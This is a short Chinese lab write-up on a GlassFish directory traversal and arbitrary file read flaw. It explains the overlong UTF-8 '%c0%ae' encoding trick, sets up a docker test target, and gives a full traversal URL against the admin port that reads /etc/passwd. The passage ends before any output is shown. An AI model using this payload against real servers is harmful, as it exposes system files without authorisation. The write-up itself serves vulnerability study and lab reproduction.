GlassFish 任意文件读取漏洞
前言
GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改
漏洞原理
java语言中会把`%c0%ae`解析为`\uC0AE`,最后转义为ASCCII字符的`.`(点)。利用`%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/`来向上跳转,达到目录穿越、任意文件读取的效果。
漏洞复现
编译、运行测试环境
靶场:192.168.4.10_ubuntu
```
docker-compose build
docker-compose up -d
```
环境运行后,访问`http://your-ip:8080`和`http://your-ip:4848`即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
访问`https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd`,发现已成功读取`/etc/passwd`内容: